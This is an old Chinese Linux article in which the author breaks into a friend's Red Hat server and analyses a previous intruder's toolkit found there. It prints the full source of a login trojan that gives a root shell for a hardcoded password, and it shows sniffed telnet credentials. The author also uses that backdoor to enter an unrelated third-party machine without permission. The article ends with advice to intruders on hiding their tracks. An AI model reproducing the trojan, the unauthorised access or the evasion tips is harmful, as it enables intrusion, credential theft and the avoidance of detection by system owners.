当前位置:Linux教程 - Linux - 分析某台机器上发现的工具包

分析某台机器上发现的工具包



        

    前些日子测试那个bind的漏洞,顺便就帮一哥们检测了一下他的主机——红帽子6.0的机器,一不小心居然又进去了——!@#$%^%,真是搞不懂为什么现在漏洞资料已是满天飞的情况下,网上怎么还有这么多“公鸡”。

    依照习惯,先w看看有谁在:

    # w

    嘿,好象就我一个人呀,看看有什么进程在跑吧……

    # ps -aux

    cracker$ ps -aux
    USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
    ronin 418 0.0 0.9 420 240 p0 R+ 7:15PM 0:00.01 ps -aux
    root 1 0.0 0.9 520 264 ?? Is 5:00PM 0:00.03 /sbin/init --
    root 2 0.0 0.0 0 0 ?? DL 5:00PM 0:00.01 (pagedaemon)
    root 3 0.0 0.0 0 0 ?? DL 5:00PM 0:00.00 (vmdaemon)
    root 4 0.0 0.0 0 0 ?? DL 5:00PM 0:01.37 (syncer)
    root 128 0.0 2.1 876 588 ?? Is 5:00PM 0:00.54 syslogd
    daemon 137 0.0 1.9 884 536 ?? Is 5:00PM 0:00.01 /usr/sbin/portmap
    root 148 0.0 1.1 476 304 ?? Is 5:00PM 0:00.01 mountd -r
    root 151 0.0 0.7 336 196 ?? Is 5:00PM 0:00.01 nfsd: master (nfs
    root 155 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
    root 156 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
    root 157 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
    root 158 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
    root 159 0.0 1.9 263024 552 ?? Is 5:00PM 0:00.00 rpc.statd
    root 168 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
    root 169 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
    root 170 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
    root 171 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
    root 192 0.0 3.2 1296 920 ?? Is 5:00PM 0:01.56 sshd (sshd1)
    root 195 0.0 2.1 952 616 ?? Is 5:00PM 0:00.03 inetd -wW
    root 198 0.0 2.1 1040 588 ?? Is 5:00PM 0:00.11 cron
    root 202 0.0 3.5 1388 1004 ?? Is 5:00PM 0:00.09 sendmail: accepti
    root 228 0.0 1.7 844 480 ?? Is 5:00PM 0:00.01 moused -p /dev/cu
    root 257 0.0 2.1 888 600 v0 Is+ 5:00PM 0:00.02 /usr/libexec/gett
    root 258 0.0 2.1 888 600 v1 Is+ 5:00PM 0:00.02 /usr/libexec/gett
    root 259 0.0 2.1 888 600 v2 Is+ 5:00PM 0:00.02 /usr/libexec/gett
    root 260 0.0 2.1 888 600 v3 Is+ 5:00PM 0:00.01 /usr/libexec/gett
    root 261 0.0 2.1 888 600 v4 Is+ 5:00PM 0:00.02 /usr/libexec/gett
    root 262 0.0 2.1 888 600 v5 Is+ 5:00PM 0:00.02 /usr/libexec/gett
    root 263 0.0 2.1 888 600 v6 Is+ 5:00PM 0:00.01 /usr/libexec/gett
    root 264 0.0 2.1 888 600 v7 Is+ 5:00PM 0:00.02 /usr/libexec/gett
    root 277 0.0 3.6 1512 1028 p0- I 5:16PM 0:00.44 su (bash)
    root 411 0.0 2.9 1184 828 ?? Ss 7:14PM 0:00.06 telnetd
    ronin 412 0.0 3.5 1500 1020 p0 Ss 7:14PM 0:00.12 -bash (bash)
    root 0 0.0 0.0 0 0 ?? DLs 5:00PM 0:00.01 (swapper)

    唔,很正常……

    # netstat -a |more

    ........
    ........
    ........

    也很正常……

    xixi,我还是先把login替换掉,明天再警告我那哥们吧:)

    # ls -la /usr/sbin|grep login
    login
    .login

    咦,有鬼,真够巧的,居然有个.login,莫非有人已经捷足先登了?两个login
    还不一样大哦……,telnet到自己的红帽子上:

    # telnet quack

    查看一下login的实际大小,真是被人换掉了!那——看看ps和netstat吧,估计也好
    不了多少,哼,刚才看到的ps和netstat的输出说不定都是被伪装过的了!

    把我本机的ps跟netstat和朋友这台机器的ps和netstat拿来diff一下,果然不同!

    看来是有鬼了,帮它备一份吧

    mv ps ps_fake
    mv netstat netstat_fake

    再把自己机器上绝对没被改过的ps与netstat传上去……

    # rcp root@*.*.*.*:/bin/ps /bin/ps
    # rcp root@*.*.*.*:/usr/bin/netstat /usr/bin/netstat

    我再来看看……

    # ps -ef|more

    发达喽,这么多东东……

    啊——知道我发现什么了么?居然有个nmap的进程nohup着……由root启动的"有趣"程序有:

    sniffit -a -p 23 -t *.*.*.*
    nmap -P0 -sF -O 111.111.*.* -oN /etc/X11/.X11default/.../111.111.log
    bindshell

    这个入侵者的工具包看来是放在/etc/X11/.X11default/.../呀,我们来看看里面
    都有哪些东西吧……

    哇,看来这台机器当公鸡也好长时间了哦——积累了这么多好东西了呀,都成大本
    营了……

    哦,对了,等等,先看看这个入侵者在不在机器上再说……

    # netstat -a|more <-----------这回是自己的netstat了:)输出的结果除了我自
    己就没看到别人了……

    唔,象是不在哦,只是还有一些进程挂着——好象是死进程了,没杀掉而已,便宜了
    我了:),这个210.*.*.*,好象是台湾的吧,最近怎么老和台湾打交道?算了,先看
    看他的习惯吧,装什么后门……顺便开个进程扫一下这台机器……

    觉得好笑的是,这个兄弟也太老实了些,居然把源码什么的一古脑留下来供人分析,
    而且编译时老老实实的以源码的名字来命名……xixi,我看看他login是用什么替的,
    哦,这个东东呀……

    /* Universal trojan ( login / imapd / qpopd )
    But will work on more daemons and on most systems.
    After installed on the system.
    Telnet to the daemon and you will have 1 second to type in
    the trojan passwd to get root access else it executes the real daemon. */

    /*
    * PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! :P
    *
    * mitra ( login / ipop3d / imapd trojan )
    * axess ( [email protected] ) in Dec-1999
    *
    * This is an combined login / ipop3d / imapd trojan.
    * This should work with other deamons but i have only tested these 3.
    *
    * REAL == mv the real deamon to this path.
    * TROJAN == This is the real path of the deamon, put the trojan here.
    *
    * It defaults to login trojan now.
    * Dont forgot you might have to the rights of the trojan.
    * Telnet to the port whatever deamon its set for.
    * The passwd you need to enter in one second == door
    * and you will get that lovely # =)
    * This works on most systems.
    *
    */

    #include
    #include
    #include
    #include

    #define REAL "/bin/.login"
    #define TROJAN "/bin/login"
    #define ROOT "xundi"
    /* ^^^^^
    |
    +--------->xixi,密码怎么是xundi?呵呵开玩笑啦
    这边密码看看,后面要用到的。 */
    char **execute;
    char passwd[5];

    int main(int argc, char *argv[]) {
    void connection();

    signal(SIGALRM,connection);
    alarm(1);
    execute=argv;
    *execute=TROJAN;

    scanf("%s",passwd);

    if(strcmp(passwd,ROOT)==0) {
    alarm(0);
    execl("/bin/sh","/bin/sh","-i",0);
    exit(0);
    }
    else
    {
    execv(REAL,execute);
    exit(0);
    }
    }


    void connection()
    {
    execv(REAL,execute);
    exit(0);
    }

    那边台湾那台机器的结果也已经出来了,是solaris7的机器,但没有致
    命的漏洞:(,如果这台也是入侵者的肉鸡的话,估计他关掉了一些服务,
    以免被人轻易攻陷……,那么,我们来试试他自己的后门……

    # telnet 210.*.*.* 在一秒钟内输入password……,于是看到

    #

    呵呵,真是爽到极点,进来了又:)……可以做的事有好多啦,但……

    先不管别人的事了,我打了个电话给那哥们,嘿,这小子有用Tripwire对
    系统里的文件目录做了数据库记录了,嘿,那就好办,运行一下吧,结果
    发现,系统里面有了好些变化哦:

    一、那位入侵者已经在机器里装了:

    1.sniffit0.3.7 <---------- 监听工具
    2.nmap2.52以及nmap-web1.4 <---------- 扫描工具,以及它的cgi版本
    3.pscan <---------- 扫描端口的工具,速度颇快,但会有许多log
    4.lrk <---------- liunx root kit
    5.ulogin.c <---------- 一个假的login,你要DISPLAY="password";export DISPLAY然后telnet
    6.nc <---------- telnet工具,也可以绑定端口
    7.trojan.c <---------- 假的login,需要在login出来前一秒输入password就行了
    8.wu-ftpd.trojan.tar <---------- 假的wu-ftpd守护进程,telnet到21口并输入特定用户名就是root
    9.bindshell.c <---------- 端口绑定工具
    10.wipe <---------- 擦log的一个工具

    二、并且更改了以留下后门:

    1./etc/inetd.conf <----------- 把端口9改成了sh
    2./etc/rc.d/rc.local <----------- 将上面所说的bindshell添了进去

    三、进行了一些扫描及监听的活,留下一些记录文件:

    1.210.*.cmsd.log <------------ 某个B类网址的cmsd漏洞扫描结果
    2.210.*.sadmind.log <------------ 某个B类网址的sadmind漏洞扫描结果
    3.sni.log <------------ 对这台机的监听结果!@$%^&&$#@

    四、安装了DDOS工具

    1.tfn2k <------------ 无须多说了吧:)大名鼎鼎呀……

    五、某些攻击性的exploit,如:

    1.t666.c <------------ bind的攻击程序
    2.msadc2.pl <------------ 针对msadc的攻击程序
    3.sadmindex <------------ sadmindex的攻击程序及brute程序

    六、有一个已经编译好的Solaris下的包,里面有如下工具:

    1.pscan <------------- 扫描工具
    2.tfn2k <------------- DDOS工具
    3.nc <------------- 端口重定向
    4.ulogin <------------- 后门
    5.trojan <------------- 后门
    6.command.tar <------------- ps\netstat\ls\find的伪造程序
    7.bindshell <------------- 端口绑定工具
    8.rpc-kit.tar <------------- rpc的攻击工具包

    七、留了两个suid的shell

    我来看看sniffit记下什么了吧……xixi,看得是不是很头大,我也烦……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
    E . . ( ? . @ . . . : i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
    E . . ( @ . @ . . . 9 i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
    E . . ( A . @ . . . 8 i . . . . . . . . . 7 . . . . D 3 . . . . P . . c . .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . , B . @ . . . 7 e . . . . . . . . . 8 . . . . C . . . . . ` . . . .
    . . . . . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ( C . @ . . . 6 i . . . . . . . . . 8 . . . . C . . . . { P . " 8 % .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . + D . @ . . . 5 f . . . . . . . . . 8 . . . . C . . . . ~ P . " 5 . .
    . . . . %

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . + E . @ . . . 4 f . . . . . . . . . 8 . . . . C . . . . . P . " # . .
    . . . . &

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . 7 F . @ . . . 3 Z . . . . . . . . . 8 . . . . C . . . . . P . " # . .
    . . . . . . . . . # . . . . $

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . 2 G . @ . . . 2 _ . . . . . . . . . 8 . . . . C . . . . . P . " . y 5
    . . . . . . A N S I . .
    ^^^^^^^
    |
    +------------------------->知道这是什么么?

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . + H . @ . . . 1 f . . . . . . . . . 8 . . . . C . . . . . P . " . " .
    . . . . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . 7 I . @ . . . 0 Z . . . . . . . . . 8 . . . . C . . . . . P . " . . .
    . . . . . . . " . . . . . . . . !

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . + J . @ . . . / f . . . . . . . . . 8 . . . . C . . . . . P . " . $ .
    . . . . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . + K . @ . . . . f . . . . . . . . . 8 . . . . C . . . . . P . ! . $ .
    . . . . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ( L . @ . . . - i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) M . @ . . . , h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . r
    ^^^
    |
    +-------------------->开始了哦

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) N . @ . . . + h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . o
    ^^^
    |
    +-------------------->又一个

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ( O . @ . . . * i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) P . @ . . . ) h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . n
    ^^^
    |
    +-------------------->还有

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) Q . @ . . . ( h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . i
    ^^^
    |
    +-------------------->……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) R . @ . . . h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . n
    ^^^
    |
    +-------------------->这些就是用户名了啦……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ( S . @ . . . & i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . * T . @ . . . % g . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ( U . @ . . . $ i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) V . @ . . . # h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
    . . h
    ^^^
    |
    +-------------------->密码开始了,睁大眼……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) W . @ . . . " h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
    . . a
    ^^^
    |
    +-------------------->……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) X . @ . . . ! h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
    . . c
    ^^^
    |
    +-------------------->……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) Y . @ . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
    . . k
    ^^^
    |
    +-------------------->……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) Z . @ . . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
    . . e
    ^^^
    |
    +-------------------->……

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
    E . . ( [ . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . 1 P . . . . .
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
    E . . ( \ . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . . P . " 8 . k
    . .
    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
    E . . ( ] . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . k
    . .

    Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
    E . . ) ^ . @ . . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
    . . r
    ^^^
    |
    +-------------------->密码到此结束……

    也就是说,密码都被听走了……真是!@#$%^&

    往下的事就好办多了,自己补补漏洞,把密码换掉,通知用户更改密码……

    总结入侵者所犯的错误:

    1、没有帮这台主机打上patch:),如果想自己长期使用这台机器的话,打上补丁以防
    止别人以同样的方式进入是必要的,也可以避免被人追踪到……
    2、上传的后门,漏洞利用程序编译成二进制代码后最后马上删掉源程序,并且编译好
    的程序不要太"老实",可以随便用些乱七八糟的名字让人摸不着脑袋长哪儿嘛……
    3、不同的肉鸡上的后门最好不要设一样,也就是说,如果你用跳板跳到某台机器,那
    么跳板上的后门及你的目标机器上的最好不要一样,要不然容易被人“反咬一口”
    4、后门也留得太多了:),不知是在测试还是怎么着?被抓到一个后很容易让root产生
    "联想"——马上寻找入侵者。
    5、某些工具包没有充分利用上,比如lrk,用得好的话人家一下还不容易查觉有人进入
    过系统。

    摘自:永远的UNIX
    作者: quack([email protected])
    发布人:netbull 来自:非常Linux